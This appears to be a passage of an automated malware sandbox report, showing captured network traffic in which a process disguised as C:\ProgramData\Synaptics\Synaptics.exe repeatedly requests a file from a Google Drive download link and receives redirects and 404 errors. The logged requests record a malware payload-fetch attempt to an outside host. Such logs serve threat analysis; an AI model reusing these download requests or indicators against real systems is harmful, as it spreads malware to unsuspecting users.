Aug 5, 2024 12:01:46.712678909 CEST	1236	IN	Data Raw: c3 3c 93 0a ae 5e da 03 cb 3e 80 9c 80 5f 6c 76 1d aa d6 79 b7 dc 23 4a ca ff 7a 62 d0 8f 11 29 49 b8 ca 29 5c 28 44 7a 64 4c fd fc d5 65 f5 cf c5 14 f7 33 02 db a3 5f c1 1d e1 96 f3 07 38 50 09 0b 8a 0b 11 87 ec 47 18 75 ce 7b 1a 8b cd a7 8d 18 Data Ascii: <^>_lvy#Jzb)I)\(DzdLe3_8PGu{='yC>?NZPT}#2L5?L4\|$g\tLr QRp$22%%Sv"Wv8BGoFAG#G)x]y%kk]WvXnlLuQd
Aug 5, 2024 12:01:46.712692022 CEST	1236	IN	Data Raw: f9 26 aa b5 39 75 89 f7 95 5b 9e de 55 06 bf ff 5b 93 18 16 13 41 bd 2a 3d dd 47 08 80 15 f4 62 e2 c5 e4 3d 61 d0 3f c6 f8 1e a7 48 f5 e5 74 61 01 23 3b d3 fd 56 e9 4b fd 03 99 90 f0 4e e0 b2 3b 02 76 28 52 e6 50 8a 0e 73 b2 6b e3 92 17 93 1a 55 Data Ascii: &9u[U[A*=Gb=a?Hta#;VKN;v(RPskU/Os2~$` F)212>eWwS\ kKb+#Ei7S=e\|Z6^CK,[.>'?VA7ae-/,ZB5\|O\|l
Aug 5, 2024 12:01:46.712729931 CEST	1236	IN	Data Raw: 78 12 3d 34 50 71 f5 98 ae 50 ab d2 3e f5 ce 1f 16 2c b0 5c 10 2f af ea 5a 05 38 5b 30 72 38 45 4f 2f 47 fe dd 93 6c 35 60 c1 84 7e 61 6b 3b dd 6a fa 0b 7e 54 a3 21 d4 4c af 1b 42 af cb 54 28 a5 82 e8 0e 53 dc ef c8 2f bb 73 b1 de 4d d2 a3 0b 44 Data Ascii: x=4PqP>,\/Z8[0r8EO/Gl5`~ak;j~T!LBT(S/sMD.3iYk)U A/`tW5_df8Mlig(H.SFM-3xlh/S\|#^E5hYMk4PD*O+!%{USk6lIe\%CNzonT

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49704	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:26 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-05 10:00:26 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:26 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-C_j6gOdRKqWK83QqdACBXA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49703	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:26 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-05 10:00:26 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:26 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-6CdXKPZ-MqZr22Run734-Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49711	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:27 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-05 10:00:27 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:27 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-DGfPJfhlz8oU0CE8MHe2Kg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49713	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:27 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-05 10:00:27 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:27 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-B15KoU4F5XExUX5F-jHVXw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49712	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:27 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-08-05 10:00:27 UTC	1585	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:27 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: script-src 'report-sample' 'nonce-rTHaWKuV9IG_Km3ic6dQOw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nPhLumfd_UsSEcyM5E66lGTymyFOhniyw9UTFP9svlEVLK472JkCTKv6qlwZNoQ-GEfbmg Server: UploadServer Set-Cookie: NID=516=W2uqB3Bc7GTNrrAgUDMBMIS5nEsmtrsHrKwC8y0SBrFwZG-kiHAwVoe-TQn-5Pn7KHVQzcRujHI7ZnRySu20lzzOVYBKjdpvA84cGzwfTPgSbFLaYptl5sz2GWIiJjq3nxldn5Op4TzafXZRWe-jpqp5mW4tNnVqz8so3CzALUE; expires=Tue, 04-Feb-2025 10:00:27 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-05 10:00:27 UTC	1585	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4c 5a 44 77 63 6e 56 35 41 51 69 53 44 4d 54 32 31 6a 4b 72 41 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="LZDwcnV5AQiSDMT21jKrAA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-seri
2024-08-05 10:00:27 UTC	57	IN	Data Raw: 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: d on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49714	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:27 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-08-05 10:00:28 UTC	1592	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:27 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-USSUpca6kZK_jye061nnHQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nPZGVEhTGZ9kerv1KGfT5dH6vQBls6k4rfigwFJFzL_grN9nN3uQkNG1_UOI30gXMv3hIbWfG6IWg Server: UploadServer Set-Cookie: NID=516=rgCy0OADalF9Ozovs0GbwYgY7EgFpP3YHQ5XwvdsCbn2EeisHQPXqSChhyD4L1OaELyrNYbPeP2Wqd2xpO9ZnhsWrE_wcPKBQ-_GkuUU29Gcdk7mRdjymR4S6GPDkRR-TwU4lLoBPFD8Do0OeajKPeS9dlE7RB8RiuH7PfUJOP0; expires=Tue, 04-Feb-2025 10:00:27 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-05 10:00:28 UTC	1592	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4c 43 4e 35 67 34 4f 5a 6f 78 6f 32 51 48 39 77 42 6a 76 78 44 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="LCN5g4OZoxo2QH9wBjvxDQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-seri
2024-08-05 10:00:28 UTC	50	IN	Data Raw: 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: is server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49718	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:28 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-05 10:00:28 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:28 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-b0w4rynUU3rsfEYRuq2tIw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49720	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:28 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-05 10:00:28 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:28 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-8dpj1GINUcLb9217m2zRdQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49721	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:28 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-08-05 10:00:29 UTC	1585	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:28 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-ZY2b5ON4wY822ftJu7uztQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nNWpZYtLmv8JWHUeS68MtQ1TZ6GpbCXp1BueNfgM4N9ApqCbngTDcDrIXtJcQoKiyH2jM0 Server: UploadServer Set-Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ; expires=Tue, 04-Feb-2025 10:00:28 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-05 10:00:29 UTC	1585	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 39 5a 4b 74 4f 32 74 71 42 71 52 65 37 7a 39 35 58 72 51 6d 56 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="9ZKtO2tqBqRe7z95XrQmVA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-seri
2024-08-05 10:00:29 UTC	57	IN	Data Raw: 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: d on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49722	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:28 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-08-05 10:00:29 UTC	1592	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:29 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: script-src 'report-sample' 'nonce-NH1czIJwW-o4gTejHU9bSg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nOw7_77y7gKnq2iTgjEPFyGLhXXRLyecvRRDlvbzPwAwjJVmHQDOXqHlrKrB_41jU_Yr8P_h2Yi-Q Server: UploadServer Set-Cookie: NID=516=lig-sOBGA5TB7ptWnULGu1d760cSxC6z3TKjFJn9UuDYxqyyzp4bJv8lnAvwbOR4cOX2rNdoXQ_R9QlW6hdoDGikJ069ZPuivs0Ad9eBupUSNqX6j-igI3ec6lzbgsBEPZw3AKR8C9ApKQiNso3LlHZOn0FW-ZbzY0ujqeFO7HQ; expires=Tue, 04-Feb-2025 10:00:29 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
